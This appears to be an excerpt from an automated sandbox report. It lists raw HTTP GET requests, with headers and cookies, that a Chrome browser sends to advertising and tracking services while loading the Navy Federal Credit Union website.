Source: global traffic	HTTP traffic detected: GET /1/i/adsct?bci=5&eci=3&event=%7B%7D&event_id=81e2e4c5-42ad-44dd-8617-cd81c22c011d&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=272bf3a9-5e24-4cac-85c0-41ae2c7fa36c&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2F&tw_iframe_status=0&txn_id=o4vdx&type=javascript&version=2.3.30 HTTP/1.1Host: analytics.twitter.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: personalization_id="v1_XXGBp5FEVOt4lj5n4pfxyg=="
Source: global traffic	HTTP traffic detected: GET /1/i/adsct?bci=5&eci=3&event=%7B%7D&event_id=305f9585-fb97-4a3b-a503-f8815f3d752b&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=272bf3a9-5e24-4cac-85c0-41ae2c7fa36c&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2F&tw_iframe_status=0&txn_id=o4vdx&type=javascript&version=2.3.30 HTTP/1.1Host: t.coConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: muc_ads=5afb271d-5ca0-4fba-8d76-91e68208e2e2
Source: global traffic	HTTP traffic detected: GET /engagement/getpixels?gid=15654 HTTP/1.1Host: bttrack.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: GLOBALID=2uKlc8-sIBd987FnJ3_EGJz4AHMFJ9T7D3E4nQyxIEOOQb5oiA66qvuxm2bXmopXIWr2S4rHQ5QC4TM1
Source: global traffic	HTTP traffic detected: GET /engagement/event?input=%7B%22globalId%22%3A%220b31c55f-287d-4370-a8d9-98e50fdf2aed%22%2C%22creativeId%22%3A%22%22%2C%22placementId%22%3A%22%22%2C%22goalId%22%3A%2215654%22%2C%22sessionId%22%3A%22aafbf16b-f44b-4ef0-9b6d-fd431d3a508f%22%2C%22parentPublisherId%22%3A%22%22%2C%22publisherId%22%3A%22%22%2C%22siteId%22%3A%22%22%2C%22commonId%22%3A%22%22%2C%22heartbeat%22%3A1%2C%22url%22%3A%22https%3A%2F%2F9749892.fls.doubleclick.net%2Factivityi%3Bdc_pre%3DCPmR_PKup4YDFT1vQQId598InA%3Bsrc%3D9749892%3Btype%3Dgener0%3Bcat%3Dnfcu_000%3Bord%3D6213689762165%3Bnpa%3D0%3Bauiddc%3D1380165631.1716590754%3Bps%3D1%3Bpcor%3D893322139%3Buaa%3Dx86%3Buab%3D64%3Buafvl%3DGoogle%252520Chrome%253B117.0.5938.134%257CNot%25253BA%25253DBrand%253B8.0.0.0%257CChromium%253B117.0.5938.134%3Buamb%3D0%3Buam%3D%3Buap%3DWindows%3Buapv%3D10.0.0%3Buaw%3D0%3Bpscdl%3Dnoapi%3Bfrm%3D0%3Bgtm%3D45fe45m0za200%3Bgcd%3D13l3l3l3l1%3Bdma%3D0%3Bepver%3D2%3B~oref%3Dhttps%253A%252F%252Fwww.navyfederal.org%252F%3F%22%2C%22fingerprint%22%3A%22%22%2C%22fingerprintProvider%22%3A%22%22%7D HTTP/1.1Host: bttrack.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: GLOBALID=2uKlc8-sIBd987FnJ3_EGJz4AHMFJ9T7D3E4nQyxIEOOQb5oiA66qvuxm2bXmopXIWr2S4rHQ5QC4TM1
Source: global traffic	HTTP traffic detected: GET /s/64581?bidder_id=200442&bidder_uuid=357c28c3-9efd-4e35-8e20-288ff8da4a1a:1716590758.313698&_=1716590763.1485915&_li_chk=true&previous_uuid=c6075f47d32b4d818231a2e2225587fd HTTP/1.1Host: i.liadm.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: lidid=c6075f47-d32b-4d81-8231-a2e2225587fd
Source: global traffic	HTTP traffic detected: GET /i/adsct?bci=5&eci=2&event_id=43adeeea-ec5c-4164-a084-520844475719&events=%5B%5B%22pageview%22%2C%7B%7D%5D%5D&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=272bf3a9-5e24-4cac-85c0-41ae2c7fa36c&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2F&tw_iframe_status=0&tw_order_quantity=0&tw_sale_amount=0&txn_id=o4vdx&type=javascript&version=2.3.30 HTTP/1.1Host: analytics.twitter.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: guest_id_marketing=v1%3A171659076399483003; guest_id_ads=v1%3A171659076399483003; personalization_id="v1_i8U0oiFUHf/L+PKbJbHdBg=="; guest_id=v1%3A171659076399483003
Source: global traffic	HTTP traffic detected: GET /1/i/adsct?bci=5&eci=3&event=%7B%7D&event_id=305f9585-fb97-4a3b-a503-f8815f3d752b&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=272bf3a9-5e24-4cac-85c0-41ae2c7fa36c&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2F&tw_iframe_status=0&txn_id=o4vdx&type=javascript&version=2.3.30 HTTP/1.1Host: analytics.twitter.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: guest_id_marketing=v1%3A171659076399483003; guest_id_ads=v1%3A171659076399483003; personalization_id="v1_i8U0oiFUHf/L+PKbJbHdBg=="; guest_id=v1%3A171659076399483003
Source: global traffic	HTTP traffic detected: GET /i/adsct?bci=5&eci=2&event_id=43adeeea-ec5c-4164-a084-520844475719&events=%5B%5B%22pageview%22%2C%7B%7D%5D%5D&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=272bf3a9-5e24-4cac-85c0-41ae2c7fa36c&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2F&tw_iframe_status=0&tw_order_quantity=0&tw_sale_amount=0&txn_id=o4vdx&type=javascript&version=2.3.30 HTTP/1.1Host: t.coConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: muc_ads=5afb271d-5ca0-4fba-8d76-91e68208e2e2
Source: global traffic	HTTP traffic detected: GET /s/64581?bidder_id=200442&bidder_uuid=357c28c3-9efd-4e35-8e20-288ff8da4a1a:1716590758.313698&_=1716590763.155465&_li_chk=true&previous_uuid=70344332780144759af2802d8d6e72cf HTTP/1.1Host: i.liadm.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: lidid=70344332-7801-4475-9af2-802d8d6e72cf
Source: global traffic	HTTP traffic detected: GET /1/i/adsct?bci=5&eci=3&event=%7B%7D&event_id=81e2e4c5-42ad-44dd-8617-cd81c22c011d&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=272bf3a9-5e24-4cac-85c0-41ae2c7fa36c&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2F&tw_iframe_status=0&txn_id=o4vdx&type=javascript&version=2.3.30 HTTP/1.1Host: t.coConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: muc_ads=5afb271d-5ca0-4fba-8d76-91e68208e2e2
Source: global traffic	HTTP traffic detected: GET /ns/__p2.gif?ppid=9f9e1ac6-39b1-40b7-a151-7c8e30cca3f1&chk=false&brid=2779&brcid=&email=&orderId=&orderValue=&productId=&offerCode=&label=&pageUrl=https%3A%2F%2Fwww.navyfederal.org%2F&referrerUrl=&targetUrl=https%3A%2F%2Fwww.navyfederal.org%2F&sessionId=19471654271041955080390332448085131267&markerType=seg&rand=baVHflK5Bqtq5h2a&iabOptOut=-&jsVer=3.2.1&frVer=1.2&markerId=807351 HTTP/1.1Host: px0.pbbl.coConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ns/__p2.gif?ppid=4ff68111-b678-4699-beeb-4af80cb7d74f&chk=false&brid=2779&brcid=&email=&orderId=&orderValue=&productId=&offerCode=&label=&pageUrl=https%3A%2F%2Fwww.navyfederal.org%2F&referrerUrl=&targetUrl=https%3A%2F%2Fwww.navyfederal.org%2F&sessionId=19471654271041955080390332448085131267&markerType=seg&rand=t1tNOB2lKPpBSWiW&iabOptOut=-&jsVer=3.2.1&frVer=1.2&markerId=807351 HTTP/1.1Host: px0.pbbl.coConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /p?cid=463774&cb=sifi_att_20021453318._hp HTTP/1.1Host: i.simpli.fiConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: suid=4F23F6C2C1D4438DAA81302CEEAB3C45
Source: global traffic	HTTP traffic detected: GET /event/track HTTP/1.1Host: events.api.boomtrain.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /com.snowplowanalytics.snowplow/tp2 HTTP/1.1Host: p.tvpixel.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: sp=d6bf2da2-d013-4ae6-9c4d-f574b62e8eef
Source: global traffic	HTTP traffic detected: GET /seg?t=1&add=37387871&ver=9&userid=357c28c3-9efd-4e35-8e20-288ff8da4a1a%3A1716590758.313698&pe=https%3A%2F%2Fwww.navyfederal.org%2F&pf= HTTP/1.1Host: secure.adnxs.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bounce?%2Fseg%3Ft%3D1%26add%3D37387871%26ver%3D9%26userid%3D357c28c3-9efd-4e35-8e20-288ff8da4a1a%253A1716590758.313698%26pe%3Dhttps%253A%252F%252Fwww.navyfederal.org%252F%26pf%3D HTTP/1.1Host: secure.adnxs.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XANDR_PANID=NKMGS9Twxjo6H0d4xg31IMKQLgBt50x7m5TfyQMEkjYtxbArrlOOapSE9KrWT55KVffqeuEmhoYeVV8wh5UbopZeEWHDkhWgKiRbE9Z7VHw.; receive-cookie-deprecation=1; uuid2=6116765264039870456
Source: global traffic	HTTP traffic detected: GET /seg?add=27742454&t=1&ver=9&pe=https%3A%2F%2F9749892.fls.doubleclick.net%2Factivityi%3Bdc_pre%3DCPmT-vKup4YDFd50QQIdxWULrA%3Bsrc%3D9749892%3Btype%3Dgener0%3Bcat%3Dnfcu_0%3Bord%3D8505920471743%3Bnpa%3D0%3Bauiddc%3D1380165631.1716590754%3Bps%3D1%3Bpcor%3D843276876%3Buaa%3Dx86%3Buab%3D64%3Buafvl%3DGoogle%252520Chrome%253B117.0.5938.134%257CNot%25253BA%25253DBrand%253B8.0.0.0%257CChromium%253B117.0.5938.134%3Buamb%3D0%3Buam%3D%3Buap%3DWindows%3Buapv%3D10.0.0%3Buaw%3D0%3Bpscdl%3Dnoapi%3Bfrm%3D0%3Bgtm%3D45fe45m0za200%3Bgcd%3D13l3l3l3l1%3Bdma%3D0%3Bepver%3D2%3B%7Eoref%3Dhttps%253A%252F%252Fwww.navyfederal.org%252F%3F&pf=https%3A%2F%2Fwww.navyfederal.org%2F HTTP/1.1Host: secure.adnxs.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XANDR_PANID=NKMGS9Twxjo6H0d4xg31IMKQLgBt50x7m5TfyQMEkjYtxbArrlOOapSE9KrWT55KVffqeuEmhoYeVV8wh5UbopZeEWHDkhWgKiRbE9Z7VHw.; receive-cookie-deprecation=1; uuid2=6116765264039870456
Source: global traffic	HTTP traffic detected: GET /track/cmf/rubicon?gdpr=0 HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=00d6b47b-5df0-41e1-812e-c334ebaa9abf; TDCPM=CAESEgoDYWFtEgsInKC0tPDg8jwQBRIWCgdydWJpY29uEgsIjP3dq6qT_jwQBRgFIAEoATILCLTvjMHAk_48EAU4AUIEIgIIAVoHcGNsOGJpeWABcgdydWJpY29u
Source: global traffic	HTTP traffic detected: GET /1/i/adsct?bci=5&eci=3&event=%7B%7D&event_id=81e2e4c5-42ad-44dd-8617-cd81c22c011d&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=272bf3a9-5e24-4cac-85c0-41ae2c7fa36c&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2F&tw_iframe_status=0&txn_id=o4vdx&type=javascript&version=2.3.30 HTTP/1.1Host: analytics.twitter.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: personalization_id="v1_i8U0oiFUHf/L+PKbJbHdBg=="; guest_id_marketing=v1%3A171659076476233977; guest_id_ads=v1%3A171659076476233977; guest_id=v1%3A171659076476233977
Source: global traffic	HTTP traffic detected: GET /i/adsct?bci=5&eci=2&event_id=43adeeea-ec5c-4164-a084-520844475719&events=%5B%5B%22pageview%22%2C%7B%7D%5D%5D&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=272bf3a9-5e24-4cac-85c0-41ae2c7fa36c&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2F&tw_iframe_status=0&tw_order_quantity=0&tw_sale_amount=0&txn_id=o4vdx&type=javascript&version=2.3.30 HTTP/1.1Host: analytics.twitter.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: personalization_id="v1_i8U0oiFUHf/L+PKbJbHdBg=="; guest_id_marketing=v1%3A171659076476233977; guest_id_ads=v1%3A171659076476233977; guest_id=v1%3A171659076476233977
Source: global traffic	HTTP traffic detected: GET /universal_pixel.1.1.0.js HTTP/1.1Host: js.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://insight.adsrvr.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=00d6b47b-5df0-41e1-812e-c334ebaa9abf; TDCPM=CAESEgoDYWFtEgsInKC0tPDg8jwQBRIWCgdydWJpY29uEgsIjP3dq6qT_jwQBRIVCgZnb29nbGUSCwj6wu64qpP-PBAFEhcKCGFwcG5leHVzEgsIoOHuuKqT_jwQBRIWCgdibHVla2FpEgsI7IPvuKqT_jwQBRgFKAMyCwj2mfHlwJP-PBAFOAFCBCICCAFaB3BjbDhiaXlgAQ..
Source: global traffic	HTTP traffic detected: GET /s/64581?bidder_id=200442&bidder_uuid=357c28c3-9efd-4e35-8e20-288ff8da4a1a:1716590758.313698&_=1716590763.1485915 HTTP/1.1Host: i6.liadm.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: lidid=c6075f47-d32b-4d81-8231-a2e2225587fd
Source: global traffic	HTTP traffic detected: GET /s/64581?bidder_id=200442&bidder_uuid=357c28c3-9efd-4e35-8e20-288ff8da4a1a:1716590758.313698&_=1716590763.155465 HTTP/1.1Host: i6.liadm.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: lidid=70344332-7801-4475-9af2-802d8d6e72cf
Source: global traffic	HTTP traffic detected: GET /i/adsct?bci=5&eci=2&event_id=43adeeea-ec5c-4164-a084-520844475719&events=%5B%5B%22pageview%22%2C%7B%7D%5D%5D&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=272bf3a9-5e24-4cac-85c0-41ae2c7fa36c&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2F&tw_iframe_status=0&tw_order_quantity=0&tw_sale_amount=0&txn_id=o4vdx&type=javascript&version=2.3.30 HTTP/1.1Host: t.coConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: muc_ads=5afb271d-5ca0-4fba-8d76-91e68208e2e2
Source: global traffic	HTTP traffic detected: GET /smaato HTTP/1.1Host: um.simpli.fiConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: suid=4F23F6C2C1D4438DAA81302CEEAB3C45; uid_syncd_secure=true
Source: global traffic	HTTP traffic detected: GET /nexxen HTTP/1.1Host: um.simpli.fiConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: suid=4F23F6C2C1D4438DAA81302CEEAB3C45; uid_syncd_secure=true
Source: global traffic	HTTP traffic detected: GET /triplelift HTTP/1.1Host: um.simpli.fiConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: suid=4F23F6C2C1D4438DAA81302CEEAB3C45; uid_syncd_secure=true
Source: global traffic	HTTP traffic detected: GET /telaria_p HTTP/1.1Host: um.simpli.fiConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: suid=4F23F6C2C1D4438DAA81302CEEAB3C45; uid_syncd_secure=true
